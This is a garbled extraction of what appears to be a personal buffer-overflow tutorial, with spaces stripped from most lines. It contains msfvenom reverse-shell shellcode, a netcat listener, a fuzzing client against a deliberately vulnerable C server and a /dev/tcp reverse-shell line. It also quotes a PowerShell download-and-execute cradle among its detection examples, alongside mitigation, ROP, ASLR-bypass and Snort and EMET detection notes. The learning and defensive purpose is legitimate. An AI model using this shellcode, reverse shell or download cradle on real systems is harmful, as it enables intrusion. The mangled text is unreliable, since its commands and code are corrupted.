x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70

x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80

x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90

x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0

xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0

xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0

xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0

xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0

xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff

Option2-Testsomespecificcommands

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto

thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest

Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution

ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime

issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo

KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor

hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO

commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell

NewPayload

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode

FinalResults

SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere

theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback

toourldquoattackingrdquoterminal(farthestright)

CommonBufferOverflowExampleandMitigations(inC)

WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare

morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated

stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline

orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()

andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe

assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe

registersofacompiledbinaryorreviewingtheoutputfromGHIDRA

gets

Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability

VulnerableCode(SOURCE)

printfexternallink(Inputsomethingnastyhere)

gets(something)

VulnerableCode(ASSEMBLY)

FixedCode

printfexternallink(Inputsomethingnastyhere)

fgets(usernameLENGTHstdin)

strcpy

Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone

contiguoustomemorywherethepayloadisstored

VulnerableCode

charstr1[10]

charstr2[]=badstuffhere

strcpy(str1str2)

FixedCode(SOURCE)

enumBUFFER_LIMIT=1024

intmain()

chardst[BUFFER_LIMIT]

charsrc[]=badstuffhere

intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)

if(buffer_lengthgt=BUFFER_LIMIT)

printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn

buffer_lengthBUFFER_LIMIT-1)

VulnerableCode(ASSEMBLY)

Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows

FixedCode(SOURCE)

enumBUFFER_BOUNDARY_SIZE=1024

charstr1[BUFFER_BOUNDARY_SIZE]

charstr2[]=badstuffhere

strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize

strcat

YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto

thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin

sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied

FixedCode(SOURCE)

defineBUFFER_BOUNDARY_SIZE1024

charbuff[BUFFER_BOUNDARY_SIZE]

Usesecurestrncpythenuse

strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)

buff[BUFFER_BOUNDARY_SIZE-1]=0

strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)

strcmp

ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach

otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot

validatethesizeoftheinputagainstthepredefinedbuffer

OtherMitigationstoBufferOverflows

During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable

ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the

following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits

need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my

own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the

newcomertodiptheirtoesintothesubjects

Canary

A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions

prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary

ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps

detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly

overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith

https0x00secorgtexploit-mitigation-techniques-stack-canaries5085

httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained

httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf

DEP-DataExecutionProtection

DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware

executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as

non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns

For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag

of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other

linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow

security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks

forroutineswithanytypeofbuffer

In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get

the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the

bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP

setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may

introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP

httpslwnnetArticles422487

httpslinuxdienetman8execstack

httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in

httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your

httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae

BypassingDEP

Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to

David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view

ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining

So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu

will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you

overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary

arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in

linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable

in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another

option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in

the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the

application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of

instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope

somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle

ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot

intendtohavethewordldquoheartrdquodidherdquo

Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your

payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP

gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET

instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps

An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute

ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script

which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1

But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it

difficulttocallexecve()orsystem()

Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove

found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create

a new executable space or change the flag for existing executable space However finding the memory addresses to these functions

andcallingthemappearstobeadifferentstory

httpsgithubcomJonathanSalwanROPgadget

httpswwwrapid7comresourcesrop-exploit-explained

httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf

httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf

httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi

ng-chains]pdf

ASLR(Addressspacelayoutrandomization)

Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation

BypassingASLR

Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and

windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible

chunksandhopefullythishelpsguidemyselfandotherfurtherstudies

NonASLRlinkedbinaries

It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with

some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something

that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR

enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the

memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program

with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass

ASLRandbeginaROPattack

httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf

httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf

PointerLeaksDanglingPointers

If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot

for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code

into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE

which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory

object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that

the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how

virtualfunctionsarereferencedviavirtualtables

httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf

httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf

httpswwwrapid7comresourceswhy-you-should-be-using-emet

HEAPSprayswithASLRdisabledVirtualAlloc()inWindows

If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create

write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can

either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by

VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this

seemslikejustplainluck

httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified

httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf

BlueteamEngineeringforpostBufferOverflow

For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just

learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos

are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues

SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to

Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I

thoughtthroughthisIlumpedthedetectionintotwobuckets

1 DetectingFailedBufferOverflowAttempts

2 DetectingSuccessfullyBufferOverflowAttempts

DetectingFailedBufferOverAttemptsinWindows

If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events

are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the

oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog

For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as

the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases

whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked

EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their

sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a

similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM

Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a

collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via

GPOetc

ltQueryListgt

ltQueryId=0Path=Applicationgt

ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt

ltQuerygt

ltQueryListgt

To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and

configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service

to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on

somepredefinedSplunkpolicy

Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an

exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog

The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server

BasicallythispolicysayswhichlogscangetsentontotheSIEM

[WinEventLogForwardedEvents]

disabled=0

renderXml=1

evt_resolve_ad_obj=1

The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to

and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk

queries

SampleEMETEvent

EMETversion55587131892

EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE

EAF+checkfailed

ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE

UserNameDOMAINuser

SessionID1

PID0x1348(4936)

TID0xF90(3984)

ModuleSOMEDLLdll

ModBase0x11630000

ModAddress0x11642E99

MemAddress0x76F501A4

Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to

prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may

need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice

beachheadtomaintainafoothold

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf

httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server

DetectingSuccessfulBufferOverAttempts

The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker

has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed

which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two

approachespaintsasolidpicture

1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)

2) Hostbasedsignaturedetection

NetworkBasedDetection

Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the

clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication

1 EncodedHEXpayloadmalwarewithintheclientattack

2 Abunchofx90rsquoswithintheclientattack

3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal

If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have

SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from

bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit

generatedBSDshellcode

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)

content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416

classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment

Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at

2010_07_30updated_at2016_07_01)

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)

content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly

referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any

attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag

Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)

Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly

impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS

interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the

payloadsolargethattherulesareignoredduetoperformanceaswellSneaky

HostBasedDetection

In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and

made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer

OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean

Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas

netviewdomain

netuserdomain

netaccountsdomain

Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas

systeminfo

netlocalgroupldquoAdministratorsrdquo

uname-a

catprocissue

Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell

start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait

powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString

(http10022108081CodeExecutionInvoke-Shellcodeps1)

Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc

ENJOY

ReferencesandHonorableMentions

GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors

SourceCodetoVulnerableServerandPythonClientcanbefoundhelliphttpsgithubcomsecSandmanBuffer_Overflow_PoC_C_LinuxTheclientPoCpyandclientpyfileswillbeusedtofuzzandattackthevulnerableprogramLaterwersquollexplainwhatandwhyFornowthisisjustanexampleforthosewhowanttodiverightinandworkbackwards

clientPoCpy

usrbinpythonimportsocketimportstructimportsysiflen(sysargv)=2printUsage+sysargv[0]+[port]sysexit(1)MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize

DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100

MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger

print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes

forstringinMESSAGE

defconvert(MESSAGE)raw=

Serverexpectsapre-fixtellingyouthebuffersizeThiswillhelpustroubleshootintheserverterminal

raw+=structpack(ltIlen(MESSAGE))raw+=MESSAGEreturnraw

print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)

sclose()

printReceiveddatadata

ThevulnerableServercisthevulnerableCprogramThesourcecodewillexplainthewhatandthewhyofthecodeincaseyouwanttobuildyourownprogramLaterwecoverothervulnerableCfunctionsFornowthisisjustanexampleforthosewhowanttodiverightinandworkbackwards

VulnerableServerwcommentsonSocketCprogramminginC

AvulnerablenetworkapplicationCtoshowthebasicsoverflowingabufferandwritingasimpleSocketProgram(-8Thankstotaishi8117forthesourcecodeandopensourcingthecodeIupdatedtheServertoruncontinuouslysoyoucanwriteaniterativefuzzeronitPreviouslytheserverterminatedprocessafterthefirstserverresponseThankstoRensellarCollegeandUPENNforleavingyourCCprogrammingmaterialforfreeonthepublicinternetincludeltstdiohgtincludeltstdlibhgtincludeltstringhgtincludeltsystypeshgtincludeltsyssockethgtincludeltnetinetinhgtincludeltunistdhgtincludeltsignalhgtdefinesamacronamedBUFFER_BOUNDARY_SIZEasanabbreviationforthetoken1024HEADER_SIZEisuniquetothisapplicationandisapre-fixedstringaddedtothemessageblockdefineBUFFER_BOUNDARY_SIZE1024defineHEADER_SIZE4Macrowillinsertbuffersizeof1024intocharbuffersettingourbuffersizeto1024bytesvoidvuln_read(intcli_fd)Theserverreadscharactersfromthesocketconnectionintothisbuffercharbuffer[BUFFER_BOUNDARY_SIZE]Assumingthatincomingclientheaderisinlittleendiantheserverwillthenreadthefirst4bytestogetaclientprovidedpre-fixstringstatinghowmanybytestotheclientisprovidingintto_readread(cli_fdampto_readHEADER_SIZE)printf(Willreaddbytesnto_read)

-----------------WARNING------------------------intread_bytes=read(cli_fdbufferto_read)hasabufferoverflowvulnerabilitybecauseto_readcanbemuchlargerthanthemacrodefined1024Thatsbecausethereisnobytelengthvalidationonto_readbeforeweplaceintobufferof1024meh intread_bytes=read(cli_fdbufferto_read)printf(Readdbytesnread_bytes)printf(Incomingmessagesnbuffer)intmain(intargccharargv)if(argclt2)printf(Usages[port]nargv[0])exit(1)sockfdisafiledescriptorsiearraysubscriptsintothefiledescriptortableThesetwovariablesstorethevaluesreturnedbythesocketsystemcallandtheacceptsystemcallportstorestheportnumberonwhichtheserveracceptsconnectionscli_lenstoresthesizeoftheaddressoftheclientThisisneededfortheacceptsystemcallintportsock_fdcli_fdsocklen_tcli_lenAsockaddr_inisastructurecontaininganinternetaddressThisstructureisdefinedinltnetinetinhgtstructsockaddr_inserv_addrcli_addrThesocket()systemcallcreatesanewsocketIttakesthreeargumentsThefirstistheaddressdomainofthesocketRecallthattherearetwopossibleaddressdomainstheunixdomainfortwoprocesseswhichshareacommonfilesystemandtheInternetdomainforanytwohostsontheInternetThesymbolconstantAF_UNIXisusedfortheformerandAF_INETforthelatter(thereareactuallymanyotheroptionswhichcanbeusedhereforspecializedpurposes)ThesecondargumentisthetypeofsocketRecallthattherearetwochoiceshereastreamsocketinwhichcharactersarereadinacontinuousstreamasiffromafileorpipeandadatagramsocketinwhichmessagesarereadinchunksThetwosymbolicconstantsareSOCK_STREAMandSOCK_DGRAMThethirdargumentistheprotocolIfthisargumentiszero(anditalwaysshouldbeexceptforunusualcircumstances)theoperatingsystemwillchoosethemostappropriateprotocolItwillchooseTCPforstreamsocketsandUDPfordatagramsocketsThesocketsystemcallreturnsanentryintothefiledescriptortable(ieasmallinteger)ThisvalueisusedforallsubsequentreferencestothissocketIfthesocketcallfailsitreturns-1InthiscasetheprogramdisplaysanderrormessageandexitsHoweverthissystemcallisunlikelytofailThisisasimplifieddescriptionofthesocketcalltherearenumerousotherchoicesfordomainsandtypesbutthesearethemostcommonsock_fd=socket(AF_INETSOCK_STREAM0)

